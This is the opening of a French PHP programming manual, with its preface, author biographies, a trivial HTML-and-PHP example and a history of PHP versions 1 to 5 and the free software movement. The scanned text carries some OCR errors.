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Avant-propos 



La collection Bible Micro Application a ete concue pour permettre aux utilisateurs avances a 
experts d'approfondir leurs connaissances d'un theme precis. Exhaustifs, ces ouvrages permettent 
d'acquerir une connaissance integrale du sujet etudie, a la fois en theorie et en pratique. 

Conventions typographiques 

Afin de faciliter la comprehension des techniques decrites, nous avons adopte les conventions 
typographiques suivantes : 

■ gras : menu, commande, boite de dialogue, bouton, onglet. 

■ italique : zone de texte, liste deroulante, case a cocher, bouton radio. 

■ Police baton : instruction, listing, texte a saisir. 

x : indique un retour a la ligne du aux contraintes de la mise en page. 
Au cours de votre lecture, vous rencontrerez les encadres suivants : 

Propose des trues pratiques. 

Met V accent sur un point important qu'il nefaut negliger a aucun prix. 

Mentionne un fichier exemple ou un programme disponible sur le CD 
d'accompagnement de I'ouvrage. 



CONSEIL 



Vous recommande une technique ou une marche a suivre. 



Vous indique le nom et Vemplacement des fichiers a telecharger. 



SOURCE 



Renvoi a un site oil vous trouverez des infos complementaires ou des outils a 
INTERNET ^lecharger. 



II s'agit d' informations supplementaires relatives au sujet traite. 
REMARQUE 



y Fait reference a un chapitre oil vous trouverez des informations complementaires. 
RENVOI 
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A qui s'adresse ce livre ? 

Ce livre a ete ecrit avec, en constante toile de fond, les attentes des lecteurs a l'egard de ce que 
doit etre la Bible d'un langage de programmation ; a savoir qu'elle doit pouvoir repondre aux 
interrogations du novice comme a celles de l'utilisateur experimente. 

Une breve histoire du PHP, ainsi qu'une introduction a la philosophie du logiciel libre, vous 
montreront qu'autant PHP aide au developpement de 1'Internet autant Internet contribue a 
1'evolution de PHP et offre quantite de ressources qui lui sont liees. Les debutants ne seront pas 
laisses sur le bord du chemin des les premieres pages puisque les differentes possibilites 
d'installation de PHP font l'objet d'un chapitre complet et detaille ou les principaux editeurs du 
marche sont egalement passes en revue. 

De tres nombreux aspects de PHP sont couverts dans cet ouvrage et la majeure partie des 
fonctions presentees sont illustrees par des exemples mettant bien en avant leur utilisation et 
comportement. Voila pourquoi ce livre est plus qu'une simple documentation de base. Le PHP 
est replace dans une optique d'apprentissage, ainsi que dans une idee d'utilisation au quotidien. 
Le lecteur apprendra vite a produire des formulaires, a creer des images, a manipuler des 
fichiers ainsi que des bases de donnees, ou encore a envoyer des e-mails. Le novice sera pris par 
la main pour qu'aucune zone d'ombre ne puisse subsister. 

Meme si la presentation de la programmation procedurale n'est pas delaissee, ce qui peut vous 
permettre de tirer partie de ce livre si vous restez attaches a la version 4 de PHP, la 
programmation orientee objet est bien evidemment presentee minutieusement afin de tirer 
pleinement partie de PHP5. 

Une fois acquis les premiers rudiments, l'utilisateur devenu initie, trouvera dans ce livre de quoi 
aller plus avant dans sa maitrise du PHP. II pourra apprendre a utiliser des bases de donnees 
professionnelles ainsi que les annuaires LDAP. II pourra manipuler les documents XML, creer 
des animations flash ou des fichiers PDF, acceder aux fonctionnalites reseau dont SOAP voire 
utiliser PHP en conjonction avec COM. Enfin, pour une utilisation veritablement 
professionnelle, il aura tout interet a consulter les comparatifs de solutions d'optimisation et 
d'obfuscation du code. 

Comme le demontrent les temoignages d'utilisateurs qui ont fait le choix du langage PHP, bien 
qu'historiquement cree pour les besoins d'une page "perso", PHP a desormais sa place dans le 
monde de l'entreprise. 



Les auteurs 

Les quatre auteurs de cette Bible disposent tous d'une experience differente de PHP. Venant 
d'horizons divers, ils ont tenu a mettre en commun leurs approches pour balayer le maximum 
d'aspects relatifs au PHP. 
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d'objets par XML (ebXML). 

II est egalement a l'origine du site http://www.toutesttacile.com, site a vocation d'enseignement du 
PHP, du SQL et du XML. 

II s'investit dans le developpement Open Source avec "Nukes the JBoss Portal" en Java/J2ee. 
II aime la batterie, la guitare et la photographie mais surtout l'informatique. 

Laurent GUEDON 

Ne en mai 1975, ce qui, pour lui, est deja tres (trop) loin. 

Apres une formation E.E.A (electronique), Laurent, vouant une grande passion au 
developpement Internet, a rejoint en 1999 une SSII specialised dans le developpement 
d'applications et de sites Internet. Laurent est developpeur PHP depuis PHP 2, ses premiers 
pas ayant ete effectues sur l'ex-hebergeur AlternB. Developpeur independant depuis 
septembre 2002, il est charge d'enseignement a la faculte de Rennes. 

II pratique (plutot mal) la guitare, fait du roller et se fait de petits trous dans la peau avec des 
piques en metal (il appelle 5a le piercing). Mais, surtout, il ne se separe jamais de son Psion qui 
lui permet de developper pendant ses deplacements. 
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Preface 



Pierre-Emmanuel Muller 

Journaliste specialise dans l'internet et les nouvelles technologies, il a un interet marque pour 
tout ce qui touche a la protection de la vie privee ainsi qu'aux logiciels libres. II a participe a 
diverses traductions d'applications libres. II est l'auteur ou coauteur de plusieurs ouvrages de 
vulgarisation informatique (Securisez votre PC, Montez votre serveur deAiiZ, Utiliser les logiciels 
libres, etc.). 
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A quoi sert PHP ? 



1.1. A quoi sert PHP ? 



Presentation, role et fonctionnement d'un langage de script 

Avant de presenter le langage PHP, il est utile de situer brievement sa place sur l'internet. 
Comment, en effet, bien comprendre l'utilite d'un langage de script si la notion de "serveur" est 
encore floue ? 

L'internet est un reseau de reseaux, constitue d'ordinateurs connected entre eux. Sa structure 
est maillee, non pyramidale. II y a bien des echelons, mais les echelons les plus eleves sont, en 
fait, assez proches de la base, et sont, surtout, en tres grand nombre. Ces echelons sont 
interchangeables. Quand votre echelon superieur est absent, en panne, ou disparu, vous pouvez 
utiliser un autre echelon de meme type. En bref, deux machines sont generalement 
interchangeables. 

II est ainsi tres difficile de "diriger" l'internet. Comme tout bon processus de communication, 
Internet dispose d'un langage (en fait de plusieurs langages) qui depend du service que vous 
desirez utiliser (web, mail, ftp, etc.). Quel que soit le service en question, ce langage est 
commun a toutes les machines informatiques, et est indifferent aux plateformes. Les donnees 
provenant d'Internet sont done, moyennant parfois quelques retraitements, reutilisables par 
tout ordinateur. Ainsi, un site web est construit independamment de la plateforme sur laquelle 
il est congu. Ce sont les logiciels qui s'adaptent aux machines. II existe un navigateur web 
(Netscape) pour PC et une autre version pour Mac. Les donnees qu'ils exploitent, en revanche, 
sont independantes des systemes d'exploitation (Windows, MacOs, Linux, etc.). Les 
composantes les plus connues de l'internet sont le Web (World Wide Web) ou le courrier 
electronique (e-mail). 

Concentrons-nous sur le Web, car e'est de cela qu'il est question avec PHP. Admettons que 
vous desirez consulter le site web du moteur de recherche Google. Vous donnez l'adresse 
http://www.google.com a votre navigateur, vous lancez la recherche, et, quelques secondes plus tard, 
la page d'accueil du site s'affiche sur votre ecran. En fait, derriere cette action se cache toute une 
interaction client-serveur, primordiale a integrer pour bien saisir le fonctionnement de PHP. 
Votre navigateur, le client, interroge un serveur, en lui demandant la page d'accueil d'un site. 
Le serveur est une machine qui heberge le site web en question. Cette machine doit etre, en 
principe, connectee en permanence au reseau. Concretement, ce sont les disques durs de cette 
machine qui stockent les pages HTML ou PHP qui seront demandees par les internautes. Pour 
que le serveur soit en mesure de vous repondre, il faut que certains programmes et services 
soient presents et fonctionnels en son sein. Dans le cas d'un site web, il faut que le serveur 
dispose d'un serveur web, e'est-a-dire d'un programme permettant Interpretation et la diffu- 
sion des pages demandees par les internautes. Votre navigateur demande la page, le serveur web 
recoit et comprend votre requete, il recherche la page en question et, si elle est disponible, vous 
la retourne. En fait, il ne vous retourne que le code source de la page, en general du HTML, mais 
ce peut etre une image ou une animation. La mise en forme, la construction et l'affichage de la 
page incombent a votre navigateur. 

PHP est un langage de script HTML, e'est-a-dire qu'il fonctionne en relation avec le langage 
HTML (HyperText Markup Language). II fonctionne du cote du serveur, et non pas du cote du 
client, et permet de generer des pages web "a la volee". Concretement, un script PHP est integre 
au code source d'une page HTML. Lorsque la page est appelee, le script PHP est interprets, et 
le tout est livre au serveur web qui, au final, repond au navigateur de l'internaute. Le surfeur 
obtient une page HTML tout ce qu'il y a de plus classique, a la difference que cette page 
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n'existait pas en tant que telle sur le serveur web. On dit alors que la page a ete creee "a la 
volee", ou dynamiquement. 

Plus concretement, prenons une page HTML toute simple dont voici le code source : 

<html> 
<head> 

<title>Je teste le langage PHP</title> 
</head> 
<body> 
</body> 
</html> 

Voici un script PHP sans pretention : 
<?php 

echo ("PHP est un palindrome."); 

?> 

Pour integrer ce script a la page HTML, il suffit, ici, d'inserer le code entre les balises <body> 
et </body> de la page. Ce qui nous donne alors ceci : 

<html> 
<head> 

<title>Je teste le langage PHP</title> 
</head> 
<body> 
<?php 

echo "PHP est un palindrome."; 

?> 

</body> 
</html> 

C'est aussi simple que ca. Comme vous pouvez le constater, le script PHP est encadre par une 
balise de debut et une de fin (a savoir <?php et ?>). Ce sont des informations qui, a la lecture 
de la page, indiquent au serveur qu'il doit interpreter ces informations comme de PHP, et non 
plus comme du HTML. 

Un script est defini comme suit par le jargon Linux France : "Une suite d'instructions simples, 
peu structurees, permettant d'automatiser certaines taches [...]". Dit ainsi, c'est assez cinglant. 
En clair, un script PHP vous permet non seulement de generer du texte ou du code HTML, 
mais egalement d'envoyer un courriel, d'acceder a une base de donnees, de lancer un 
programme sur le serveur, etc. II est done ainsi possible de compter le nombre de visiteurs sur 
votre page, de gerer un livre d'or ou bien meme de realiser des applications web a part entiere, 
comme des gestionnaires de contenus (PHPNuke, DaCode, SPIP, etc.) ou des outils de travail 
collaboratifs (PHPGroupware, par exemple). 

En fait, PHP possede les memes fonctionnalites que les autres langages de script. Son gros 
atout reside dans son fonctionnement resolument tourne vers le Web. En natif, ce sont plus de 
vingt bases de donnees qui sont supportees par PHP, sans que l'utilisateur ait a faire quoi que 
ce soit. Tous les grands protocoles de l'internet fonctionnent, eux aussi, sans autre forme de 
proces avec PHP : SMTP, POP3, IMAP, FTP, SNMP, etc. 
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1.2. Les version 1 a 5 de PHP 
Rasmus Lerdorf 

Chaque grand projet libre a un pere ou un leader charismatique. PHP ne deroge pas a la regie. 
Qui plus est, l'histoire de PHP facilite les choses, ses premiers pas etant tout ce qu'il y a de plus 
simple a narrer. Les premieres esquisses de PHP sont le fait d'un seul homme : Rasmus 
Lerdorf. Sur son site personnel, Rasmus Lerdorf reste assez discret. Les rares elements que Ton 
peut glaner sur son parcours personnel se limitent a des experiences professionnelles ou a 
quelques hauts faits de programmation. On en apprend meme plus en suivant l'histoire de 
PHP, intimement liee a celle de son createur, tout au moins dans les premieres annees. Rasmus 
Lerdorf est ne en 1969 sur Pile de Greenland. On comprend que le petit Rasmus ait prefere 
l'informatique a l'agriculture, tant Pile de Greenland est peu clemente : les terres arables, les 
forets et les paturages permanents representent a peine 1 % de la superficie totale de Pile. L'ile 
de Greenland est tout de meme d'une superficie trois fois superieure a celle du Texas 
(2 170 000 km 2 ) pour une population inferieure a celle de Pile de Guernesey qui ne fait que 78 
km 2 (56 300 personnes). 




Rasmus Lerdorf ne se definit pas comme un programmeur, meme si le fait qu'il soit capable de 
faire fonctionner PHP sur son magnetoscope conduit le spectateur a penser le contraire. II n'a 
pas de diplome d'informaticien, mais une formation d'ingenieur. II a travaille pour des societes 
comme Bell, IBM ou Linux Care. Selon une etude menee a grands coups de scripts Perl par Per 
Abrahamsen, Rasmus Lerdorf est Pun des Danois les plus celebres. II arrive meme, dans le 
classement, avant le penseur Soren Kierkegaard. 

Signalons enfin que Rasmus Lerdorf, en bon developpeur du logiciel libre, n'est pas denue de 
sens de Phumour. Le petit dernier des Lerdorf a pour nom Carl Alexander Lerdorf. Sur le site 
de la famille Lerdorf, son nom se lit : Carl AlexandeR Lerdorf. . . Recursif, quand tu nous tiens ! 




Quelques sites (en anglais) 

Site officiel de la famille Lerdorf ( avec les photos du petit Carl Alexander Lerdorf) : 



INTERNET http://www.lerdorf.com 

Les Danois celebres : 

http://www.dina.kvl.dk/~abraham/fame/fame.html 
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Naissance et evolution de PHP 

Naissance et premiere version 

La premiere version de PHP n'en etait pas une. Ce ne furent que quelques outils developpes 
par Rasmus Lerdorf pour les besoins de son site personnel. Dans le courant de l'annee 1993, 
M. Lerdorf avait commence a developper des scripts en langage C et en Perl. A partir de la a pu 
etre constitute, en septembre 1993, une premiere librairie. Lasse de devoir reecrire encore et 
toujours les memes portions de code, M. Lerdorf eut 1'idee de separer sa logique de 
programmation de celle du HTML, afin de pouvoir reutiliser plus facilement certaines portions 
de code. 

Pour qu'une premiere version de PHP comme langage de script voie le jour, il ne manquait plus 
a la librairie qu'un interpreteur capable d'analyser le code HTML, pour y reperer des balises 
particulieres et appeler les fonctions qui y sont liees. Cela fut fait en novembre 1993, date a 
laquelle M. Lerdorf situe la naissance de la toute premiere version de PHP. La premiere 
mouture du langage n'avait done pas de tres grandes ambitions. PHP se limite alors a un 
interpreteur qui analyse une page HTML, en ressort des balises (inspirees du SGML), et 
appelle les fonctions correspondantes a ces balises. Tout cela dans quel but ? Afin de compter 
et d'enregistrer le nombre de visiteurs consultant un curriculum vitae sur son site personnel. 
Rasmus Lerdorf resume ses motivations a une lassitude face a Perl, juge comme etant trop lent 
et dote d'un analyseur trop restrictif. 

Cette premiere version n'eut qu'un succes tres limite, et pour cause. . . elle ne fut jamais publiee. 
II faut attendre fevrier 1994 pour qu'une premiere version de PHP soit enfin diffusee. 

Interviews de Rasmus Lerdorf 

Interview de Rasmus Lerdorf dans le Journal du Net : 
http://developpeur.journaldunet.com/itws/it _phpnexen_rasdorf.shtml 
Interview de Rasmus Lerdorf pour O'Reilly (en anglais) : 
http://web.oreilly.com/news/lerdorf_0200.html 



PHP 2 et Pouverture sur le monde 

La premiere utilisation plus large de PHP remonte au site http://www.io.org. Rasmus Lerdorf 
reutilisa son langage de script pour installer divers petits outils en ligne (un compteur de 
visiteurs, l'affichage de la derniere personne connectee, etc.). Alors, le succes de PHP fut 
immediat. D'autres utilisateurs du site voulurent utiliser PHP, et les scripts pousserent dans le 
HTML comme les champignons dans un sous-bois humide. Etant donne que l'interpreteur 
evoque plus haut etait lui-meme un CGI, les administrateurs du site repererent rapidement le 
changement. PHP se revelait fort gourmand en ressources. Pour remedier a cela et eviter une 
mort certaine du langage, Rasmus Lerdorf se pencha alors sur le serveur web pour y inclure PHP 
comme module interne plutot que de le conserver en module externe (CGI), beaucoup plus 
lourd. Le serveur utilise etait HTTPD NCSA, de l'Universite de l'lllinois. Une fois PHP ajoute 
au serveur, M. Lerdorf convainquit tout de meme les administrateurs de passer sous Apache, 
serveur web beaucoup plus souple a utiliser et a programmer. 



INTERNET 
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C'est a cette epoque que M. Lerdorf obtint un emploi a l'universite de Toronto. Sa mission etait 
de mettre en place un systeme de connexion a l'lnternet gere depuis une interface web. Le tout 
faisait intervenir une base de donnees des etudiants, des serveurs, des terminaux Cisco ainsi que 
quelques autres composants. En recherchant un outil utilisable dans la mise en place de cette 
architecture, Rasmus Lerdorf se rendit compte qu'il n'y avait rien qui lui plaisait reellement. II 
decida done de reecrire l'interpreteur de PHP et ses outils connexes, pour les rendre plus 
facilement multi-usages et generalistes. PHP devait etre capable de dialoguer avec des bases de 
donnees ou d'autres sources exterieures (comme, par exemple, des formulaires HTML). 

Ce sera a nouveau, pour Rasmus Lerdorf, l'occasion d'utiliser PHP et de le faire progresser. 
Anciennement Personal Home Page, PHP s'appelle alors PHP/FI (PHP/Form Interpreter, 
interpreteur de formulaires), du fait des nouveaux outils ajoutes par M. Lerdorf pour interf acer 
PHP avec des bases de donnees. La syntaxe de PHP/FI reste simple, encore un peu incoherente 
et assez proche du Perl. 

PHP/FI connait alors un tres large succes. De nombreux developpeurs utilisent PHP, et non pas 
seulement pour interroger des bases de donnees. PHP/FI sert deja a creer des pages web au 
contenu dynamique, ce qui sera l'une des applications les plus populaires du langage par la 
suite. II presente deja certaines des principales fonctionnalites de PHP. 

En 1997, ce sont deja plus de 50 000 sites qui utilisent PHP. 

PHP 3 

Publiee en juin 1998, apres neuf mois de tests, la troisieme version du desormais officiellement 
nomme PHP (PHP : Hypertext Preprocessor, le premier P faisant reference a PHP lui-meme. 
Recursif quand tu nous tiens...) fait un grand bond en avant. La sortie de cette nouvelle version 
correspond egalement a une solide refonte du moteur de PHP. Deux developpeurs, Zeev 
Suraski et Andi Gutmans jugeaient que PHP/FI n'etait pas assez performant pour leurs 
applications de commerce en ligne, et deciderent done de le reecrire. PHP 3 fut annonce 
comme le successeur officiel de PHP/FI. 

L'une des principales nouveautes de PHP 3 - principale en tout cas au regard de son 
developpement - fut une API (Application Programming Interface, interface de 
programmation d'application) qui permit a de nombreux developpeurs de participer au 
developpement du langage. De plus, PHP supportait desormais la syntaxe objet, sa syntaxe 
propre devenant, elle, plus coherente et solide. 

La version finale de PHP 3 fonctionnait sur de nombreuses plateformes, avec de nombreux 
serveurs web et bases de donnees. Les protocoles SNMP ou IMAP etaient alors supportes 
moyennant une compilation appropriee. PHP pouvait etre utilise en mode CGI avec la plupart 
des serveurs HTTP, ou bien etre charge en module, comme par exemple avec Apache. 

De nombreuses fonctionnalites avaient ete ajoutees a PHP 3, mais, en plus, cette sortie 
coincidait avec l'attente de nombreux nouveaux webmestres qui avaient besoin d'un outil 
simple pour ajouter une touche de dynamisme a leurs sites web. La fin des annees 1990 fut, en 
effet, une periode faste pour le Web, porte dans sa croissance par l'arrivee de l'lnternet dans le 
grand public. PHP permettait alors de mettre en place tres facilement une solution de 
commerce en ligne, des albums photo, des systemes de gestion de contenus, etc. Sa facilite 
d'acces et d'usage, ainsi qu'une gamme d'outils resolument tournes vers le Web, faisaient de ce 
langage la solution ideale pour de nombreux webmestres. 

A la fin de l'annee 1998, plus d'un million de serveurs web devaient utiliser PHP 3. Le langage 
de script avait conquis plusieurs dizaines de milliers d'utilisateurs. 
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PHP 4 

Fidele a la toute jeune tradition, PHP 4 allait une nouvelle fois entrainer une reecriture 
complete de son moteur. Des l'hiver 1998, Andi Gutmans et Zeev Suraski se pencherent sur le 
moteur interne du langage pour le reprendre de fond en comble. Leur objectif etait de rendre 
PHP encore plus performant (ce que Ton comprend aisement), et de rendre le code encore plus 
modulaire. II f allait egalement permettre au PHP d'etre plus a l'aise avec des applications 
complexes. PHP 3 posait probleme face a ces applications complexes. Sa syntaxe permettait 
leur execution, mais le moteur du langage n'avait pas ete concu pour les faire fonctionner 
efficacement. L'ecriture d'un nouveau moteur semblait alors necessaire pour permettre au 
PHP de passer a une nouvelle etape de sa croissance. 

Ce nouveau moteur devait porter le nom de ses deux createurs : le Zend Engine, combinaison 
de ZEev et ANDi. Une premiere version de PHP dote de ce nouveau moteur sortit dans le 
courant de l'annee 1999. La publication officielle de la version finale fut annoncee en mai 2000, 
six ans apres le premier PHP. PHP 4 assurait une compatibilite ascendante par rapport a 
PHP 3, et la migration de PHP 3 a PHP 4 fut encore plus souple que celle de la version 2 a la 
version 3. 

Outre un coeur neuf, PHP disposait d'une plethore de nouveaux membres. Dans sa quatrieme 
version, PHP supporte quasiment tous les serveurs web du marche, les bases de donnees les 
plus repandues, plusieurs nouvelles structures de langage ou encore la bufferisation de sortie. 
On compte egalement des ameliorations en matiere de securite. L' architecture de PHP 4 est 
encore plus ouverte et evolutive que celle de PHP 3. On remarque notamment la creation d'une 
interface ISAPI (Internet Server Application Programming Interface, outil de specification des 
DLL pouvant etre utilise par les serveurs web de Microsoft). PHP 4 permet egalement 
d'instancier et de manipuler des classes Java comme si elles etaient de simples classes PHP. 
PHP peut aussi executer des servlets. Autre amelioration majeure de PHP 4 : ['introduction des 
sessions en mode natif. L'impossibilite pour PHP 3 de gerer les sessions constituait une grosse 
lacune pour un langage tout entier tourne vers le Web. Cette faiblesse ne jouait pas en faveur 
de PHP, tout particulierement face a l'ASP qui, lui, savait deja gerer les sessions. La lacune de 
PHP 3 pouvait certes etre comblee via des solutions comme PHPLib, mais l'inclusion en mode 
natif dans PHP 4 reglait definitivement la question. PHP 4 marque egalement l'entree du 
langage dans le monde des societes commerciales. Les deux peres fondateurs de PHP 3, Zeev 
Suraski et Andi Gutmans, creerent la societe Zend pour distribuer et vendre des produits 
gravitant autour de PHP. Si le Zend Engine reste fibre, bien que sous une licence assez 
critiquee jusque dans sa seconde version, certains produits commercialises par Zend sont des 
logiciels proprietaries. Signe evident d'une maturite du langage, PHP devient alors le support 
d'un commerce tourne vers les grands comptes de l'lnternet. Belle evolution pour ce qui n'etait, 
au depart, qu'une petite collection de scripts Perl destines a compter des visiteurs... 

La communaute PHP ne compte plus seulement des developpeurs ou des webmestres. 
Desormais, de nombreux internautes participent a la documentation de PHP, a sa traduction 
ou a son annotation. En France, par exemple, la societe Nexen heberge la documentation 
officielle de PHP en frangais, dont elle a produit une version annotee. Le projet Pear regroupe, 
lui aussi, de nombreux participants, qui ne sont pas directement impliques dans le 
developpement de PHP. 

On compte aujourd'hui plusieurs millions de sites web qui utilisent PHP. En se basant sur ce 
comptage des noms de domaines, on peut dire que cela represente 20 % de l'lnternet. Les 
developpeurs, eux, sont des centaines de milliers a l'utiliser. Le site Security Space tient a jour 
une liste des modules Apache les plus utilises. En juin 1998, PHP etait present sur 8 % des sites 
audites par Security Space. En mars 2002, presque 45 % des sites audites avaient installe le 
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module PHP pour Apache. Perl, lui, etait, a la meme date, present sur 20 % de ces sites 
(rappelons que Perl date de 1987 et PHP de 1994). 
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Figure 1 .2 : Le nombre de sites utilisant PHP croit de jour en jour 



PHP 5 

La tant attendue version 5 de PHP est sortie le 13 juillet 2004. Elle apporte de tres nombreuses 
nouveautes tout en conservant une large compatibility avec PHP4. Si la grande nouveaute de la 
version 5 reste le nouveau modele oriente objet, les developpeurs de PHP n'ont pas oublie 
l'heritage des 4 precedentes versions qui ont permis a de tres nombreux developpeurs de faire 
leurs premiers pas dans le monde du script pour le web. La plupart des scripts ecrits pour PHP4 
devraient fonctionner sans modifications avec PHP5. II existe toutefois quelques differences 
dont la liste est disponible sur le site officiel du projet PHP. 




Incompatibilites entre PHP4 etPHP5 

Meme si vos scripts ecrits pour PHP4 ont de tres larges chances d'etre compatibles 



INTERNET avec PHP5, certaines incompatibilites ou modifications sont connues et listees. Le 
site officiel PHP en denombre une dizaine. Vous les trouverez a cette adresse : 
http:llwww.php.net/manual/fr/migration5.incompatible.php 



devolution de PHP 

PHP, et avec lui toute la communaute de developpeurs, doit faire face a des questions inedites. 
Sa taille provoque des soucis d'echelle, deja rencontres par d'autres projets (comme Linux, par 
exemple). Jusqu'a present, les reponses apportees par la communaute aux problemes apparus 
furent satisfaisantes, tout au moins assurerent-elles sa survie et sa croissance, sans nuire a la 
qualite du langage. On peut citer, a titre d'exemple, la mise en place d'une equipe d'assurance 
qualite durant l'ete 2000 pour faire face aux nombreuses critiques suscitees par la pietre qualite 
des premieres versions de PHP 3. Le langage avait, en effet, ete teste sur trop peu de 
plates-formes differentes. Desormais, une equipe complete de developpeurs a pour objectif 
principal de chasser le bug au sein du projet PHP. 
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Alors que PHP est un langage de script ne du Web pour le Web, Ton voit meme naitre des 
projets impliquant PHP, qui n'ont plus rien a voir avec les objectifs premiers du langage. 
PHPGtk est ainsi une solution permettant de developper des applications en PHP a partir 
d'une interface graphique cote client. 

De meme, l'entree en jeu de societes commerciales a amene des questionnements souleves par 
des acteurs du monde du libre, comme la FSF (cf. probleme de la licence du moteur Zend). 
Encore une fois, la communaute PHP a su faire preuve de beaucoup de pragmatisme dans ses 
reponses. Resultat des pressions de la FSF, Zend a change la licence de son moteur. PHP 4 
reste, pour sa part, sous une licence Apache, jugee plus souple pour les developpeurs. Et, quand 
on demande aux developpeurs de PHP comment ils prennent les critiques que Ton peut leur 
adresser parce que PHP 4 n'est pas GPL, ils vous repondent "avec des f rites". 

Si Rasmus Lerdorf a pu etre, a un moment, une figure de proue de PHP, et qu'il reste 
aujourd'hui encore son representant le plus mediatique, on peut tout de meme remarquer que 
la communaute PHP ne beneficie pas d'une structure centralisatrice qui ferait l'interface entre 
le langage et les entreprises ou les institutions. Le logiciel libre a 1'Open Source Initiative ou la 
FSF, un projet comme Kde dispose de toute une infrastructure qui assure sa promotion ou sa 
representation, Linux a Linus Torvalds. Vu de l'exterieur, le monde de PHP parait encore flou. 



PHP 

La societe Zend, editrice du Zend Engine (en anglais) : 

http://www.zend.com 

La societe Nexen : 

http://www.nexen.net 

Nombre de sites utilisant PHP (en anglais) : 

http://www.php.net/usage.php 

Modules Apache les plus utilises (en anglais) : 

http://www.securityspace.com/s_survey/tlata/man.200203/apachemods.html 

Des projets attaches au PHP : 

http://php3.de/manual/fr/html/history.php.related.html 

Interview du createur de PHPGtk (en anglais) : 

http://beta.usephp.net/article.php3?id_article=3p 



La creation de la communaute 

Si PHP a pu croitre et prosperer jusqu'a devenir l'un des langages de script les plus utilises, c'est 
en grande partie grace a une communaute de developpeurs qui, des la version 3, fut la cheville 
ouvriere de ses ameliorations. PHP/FI, seconde version du langage, reste l'ceuvre d'un seul 
homme, Rasmus Lerdorf, pere de PHP. A partir de la version 3, Rasmus Lerdorf n'est plus seul 
a la tete de PHP. Zeev Suraski et Andi Gutmans prirent en main, par deux fois, la refonte 
complete du moteur de PHP. Cette ouverture de PHP est due a une interface API mise en place 
tres tot, mais, surtout, a la volonte de son createur de partager son travail avec d'autres 
developpeurs. Rasmus Lerdorf le dit lui-meme : il a toujours appris en regardant le code 
d'autres programmeurs. Ne pas faire profiter, en retour, la communaute de son travail ne lui a 
meme pas traverse l'esprit. 
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Comment cette communaute est-elle nee ? Dans une interview, Rasmus Lerdorf situe sa date 
de naissance au jour ou, alors employe par l'universite de Toronto, il avait mis en ligne son code 
source a disposition sur une page web. Cela dans l'optique evidente que d'autres puissent en 
profiter. II n'avait alors aucune idee de qui utilisait PHP de par le monde, ni pour quelles 
applications. Un beau jour, il recut un courriel d'un utilisateur japonais, qui lui faisait parvenir 
un patch. Le patch etait tout a fait fonctionnel et pertinent. II resolvait un probleme auquel 
Rasmus Lerdorf n'avait pas encore eu affaire, mais qui allait se poser ineluctablement. PHP 
beneficiait d'une aide exterieure, la communaute etait nee ; elle compte aujourd'hui plus de 
300 developpeurs. 



jfjk La communaute PHP 

Rasmus Lerdorf raconte la naissance de la communaute : 
INTERNET http://developpeur.loumaltlunet.com/itws/it jhpnexenjasdorf.shtml 



1.3. La communaute du libre 

Pourquoi presenter le monde du logiciel libre dans un livre traitant de PHP ? Simplement parce 
que, sans cette communaute, PHP ne serait pas ce qu'il est aujourd'hui. Si la marque du monde 
du libre n'est pas particulierement visible sur le langage lui-meme, sa philosophic et son mode 
de developpement ont eu, et ont toujours, une influence notable sur le langage PHP et sa 
croissance. II suffit de voir le role preponderant que joue le triptyque Apache-MySQL-PHP 
dans le monde du Web face a des solutions comme IIS-ASP-Access. PHP est indissociable du 
monde du libre. Cette partie n'a pas pour objectif de faire l'apologie du logiciel libre, ni meme 
de faire un comparatif entre code source ouvert ou code source ferme ; tout comme le souligne 
Linus Torvalds lui-meme, les deux existent et c'est tant mieux. II nous a pourtant semble utile 
de presenter le monde du libre, pour permettre a celui qui decouvre PHP, d'une part de 
comprendre le contexte de sa croissance et de son evolution, et d'autre part de savoir vivre dans 
le monde de PHP. Celui qui ne sait pas que les developpeurs qui travaillent avec PHP 
distribuent largement leurs sources et discutent massivement en ligne de revolution du langage 
et des questions techniques qui s'y rattachent sera vite perdu et passera a cote de l'un des 
principaux atouts de PHP : sa communaute. 



Historique 

Le monde du logiciel libre plonge ses racines dans l'histoire des hackers (au sens premier du 
terme). Toute la culture du logiciel libre et son folklore doivent beaucoup aux pionniers de 
l'informatique, ces "vrais programmeurs" : les hackers (selon la definition d'Eric S. Raymond). 
Pour une histoire complete et documented de cette culture, on se reportera a Une breve histoire 
des hackers, par M. Eric S. Raymond. Disons simplement que les logiciels libres ne sont pas nes 
avec Linux. Leur histoire est bien plus riche et complexe. 

C'est dans l'un des plus prestigieux laboratoires d'informatique du monde, celui d'intelligence 
artificielle du MIT (Institut de technologie du Massachusetts) que s'est cristallisee l'opposition 
entre logiciels libres et logiciels proprietaries. Chef de file du laboratoire, et feroce opposant a 
la commercialisation des techniques mises au point dans ce laboratoire, Richard M. Stallman 
crea, en 1984, la Fondation du logiciel libre (Free Software Foundation, FSF). Hacker au sens 
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propre du terme, il developpa alors des logiciels libres, dont le celebre editeur Emacs. M. 
Stallman entrepris alors de recreer un clone complet libre du systeme d'exploitation 
proprietaire UNIX. C'est ainsi que naquit le projet GNU (GNU is not UNIX. Decidement, 
acronyme recursif quand tu nous tiens...). La FSF avait pour objectif de soutenir et 
d'accompagner des projets libres. Sa creation formalisait les theses et idees des defenseurs du 
logiciel libre. Fortement impregnee de la culture de 1'echange et de la transmission libre des 
savoirs des milieux universitaire et scientifique, la FSF estime que "tout comme les idees, les 
logiciels ne sont pas tangibles et peuvent etre copies sans perte. Les transmettre est la base d'un 
processus devolution qui alimente le developpement des reflexions." (site de la FSF Europe, 
Qu'est-ce qu'un logiciel libre ?). Pour etre qualifie de libre, un logiciel doit, selon la FSF, 
repondre a quatre criteres de liberte. Tout d'abord, un programme doit pouvoir etre execute 
pour n'importe quel usage. Ensuite, un utilisateur doit pouvoir etudier le fonctionnement du 
programme et l'adapter a ses besoins. II doit egalement etre possible de redistribuer des copies 
et, enfin, d'ameliorer le programme en rendant publiques les modifications pour que 
l'ensemble de la communaute en beneficie. 

Pour assurer ces libertes aux logiciels libres, M. Stallman etablit la GPL : GNU General Public 
License. 



La machine en marche 

Les logiciels de la FSF ne sont pas les seuls produits libres. De tres nombreux logiciels libres 
sont en rapport avec l'internet. S'ils n'y sont pas directement lies, c'est leur developpement qui 
en a profite. 

On peut citer Sendmail, developpe en 1981 par Eric Allman. Aujourd'hui encore distribue 
gratuitement par la societe Sendmail Inc., Sendmail est l'agent de transport de mails le plus 
utilise sur Internet. II detient plus de 75 % des parts de marche. 

Autre figure historique et emblematique du monde du libre : Perl. Perl signifie Pratical 
Extraction and Report Language (langage pratique d'extraction et de rapport). C'est un 
langage de programmation tres largement utilise sur l'internet. II sert principalement aux 
administrateurs de systemes et de reseaux. II sert egalement dans le developpement de CGI. 
